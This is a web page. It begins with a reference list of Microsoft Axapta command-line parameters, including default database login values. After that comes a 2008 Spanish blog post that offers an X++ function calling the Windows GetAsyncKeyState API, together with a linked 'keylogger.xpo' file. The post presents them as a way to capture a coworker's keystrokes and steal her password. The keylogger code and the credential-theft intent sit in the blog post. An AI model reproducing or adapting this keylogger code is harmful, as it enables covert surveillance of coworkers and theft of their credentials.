-querytimelimit =<milliseconds> Save queries running longer than a given number of milliseconds to file. If the value of QuerytimeLimit is zero (0), which is the default, no queries are logged. This parameter supports directing output to a table, i.e. SysTraceTable (default is disk-file). Use -QUERYTIMELIMIT=ms for tracing all SQL statements exceeding the ms milliseconds threshold and -QUERYTIMELIMIT=TABLE:ms to do the same to table.    
-regconfig=<name> Use a Registry configuration called <name>.
A configuration can be created using the Axapta Configuration Utility.   
-regimport=<file name> Import a configuration to the Registry.
The import is performed prior to the evaluation of any other options. This means that you can import a configuration using –regimport and then select it using –regconfig.   
-repair Any non-zero value will force a re-synchronization of SQL system tables during startup. The use of this command-line parameter is logged in the Event log.
Use this option to handle situations when problems in SQL system tables prevent Axapta from starting, for example missing indexes.   
-retry <n> Delay in seconds before re-executing after a deadlock.
Default: 5 seconds   
-securityprovider=<s> Selects the security provider to use with Windows Authentication and is only relevant for Object Server configuration.
For AOS running on Windows NT the only valid option is “NTLM” which provides authentication based on the NTLM security provider.
For Windows 2000 systems ‘Kerberos’ is also a valid security provider.
For Windows 2000 networks with solely Windows 2000 servers and clients ‘Negotiate’ is also an option. This will elect the best suitable security provider automatically.   
-serveridletimeout=<seconds> Specifies how long (in seconds) the AOS instance should be allowed to be running without servicing clients.
When this timeout expires without having clients connected, the instance will be shut down automatically.
This option is well suited to be combined with setting instance startup mode to OnDemand making the server auto-start upon request from client and shutdown when no clients need service for at given amount of time.   
-servermask=<s> Specify the mask <s> for selecting a subset of object servers when running in CLIENT mode. if this option is not specified, and multiple object servers are found, all available object servers will be presented in a selection box.   
-share Share label and identifier files between several applications. if not specified, the files will not be shared.   
-singleuser Run the program in single user mode.   
-sqlbuffer=<n> Set the upper limit in Kbytes of the fixed internal data retrieval buffer.
Default: 24 Kbytes   
-sqlcomplexliterals=<n> About literals and placeholders. 
Setting sqlcomplexliterals to the value 1 enables this feature, the value 0 disables this feature.   
-sqlformliterals=<n> About literals and placeholders. 
Setting sqlformliterals to the value 1 enables this feature, the value 0 disables this feature.   
-sqloraclefirstrowsfix=<n> Oracle Versions 8.05, 8.06 and 8.15 occasionally selects a poor query plan for queries using the Axapta keyword firstFast row. The symptom is that an index matching the order by specification is preferred, even though another index much better serves the where part and the number of rows returned is small.
Axapta includes a workaround for this problem, which you should only enable if you have verified that the above problem is the cause for poor performance. The Axapta Query Analyzer can be used for detecting this.
A value of 1 enables this work around, a value of 0 disables this feature.   
-sqlparm=<s> Add additional parameters <s> upon database login. The format follows the ODBC standard: “key1=value1;key2=value2”.
An example:
“DIR=c:\db;ID=9”.
Default: The default is no additional parameters.   
-sqlpwd=<s> Use password <s> upon login to the SQL database.
Default: bmssa_pwd   
-sqltrace Invoke SQL statement tracing to log file or table. Use -SQLTRACE for tracing all generated SQL statements to file and -SQLTRACE=TABLE to do the same to table.
Default: No tracing.   
-sqluser=<s> Use user name <s> during login to the SQL database.
Default: bmssa   
-startupmsg=<s> Text to be displayed during Axapta startup.   
-startupcmd=MyCommand A string that is passed to Axapta and can be used to have your own startup commands executed. The string is passed in the calls
appl.startup(MyCommand)
info.startup(MyCommand)
“appl” and “info” are instantiated objects of the application classes Application and Info respectively. The application classes are inherited from the system classes xApplication and xInfo.
Learn more in the Developer’s Guide. You can access the guide from Axapta’s Help menu.   
-useis Use integrated security during SQL database login and thus disabling values set by using parameters –sqluser and –sqlpwd.   
-user=<s> Log on as user <s>.   
-useserverprinters Have the client direct all printing to the printer connected to the server.   
-warnings Enable various run-time warnings which are logged to a file, or table. Use -WARNINGS to trace all developer warnings to file and -WARNINGS=TABLE to trace all warnings to a table. Default: No warnings.   
-windowsauth=[0|1] This option disables/enables Windows Authentication which, when enabled, is providing Single Sign-On and Authentication of client machine account and the user logging in.   
    

 

 

Como robarle la cuenta corriente a la vecina usando AX

Filed under:Uncategorized — posted by admin on January 16, 2008 @ 8:03 am

Bueno, visto q la curiosidad humana es infinita y q uno se aburre en las largas horas como desarrollador por cuenta ajena en empresillas mas o menos licitas, siempre le surge a uno la idea de que a parte de ser un poco analfabeto y que wordpres no tiene corrector como el word acabare escibiendo alguna vurrada. jejejej 

Total q para poder pillar la pass o yo que se q movidas a tu vecina de contabilidad solo tienes q implementar esta funcioncilla q nos regala microsoft.

client static int getAsyncKeyState(int vk)
{
    //return values
    //0, not pressed
    //1, pressed before function call
    //>1, key is down

    DLL         _winApiDLL      = new DLL(‘USER32′);
    DLLFunction _getKeyState    = new DLLFunction(_winApiDLL, ‘GetAsyncKeyState’);

    _getKeyState.returns(ExtTypes::WORD);
    _getKeyState.arg(ExtTypes::DWORD);

     return _getKeyState.call(vk);
}

 keylogger.xpo

con esto u el xpo q dejo por aqui ya deberia mas q sobrar y para el q no sepa de que va esto de hacerse un keylogger.. bueno.. para eso esta la pc Actual..

un saludin..


next page


image: detail of installation by Bronwyn Lace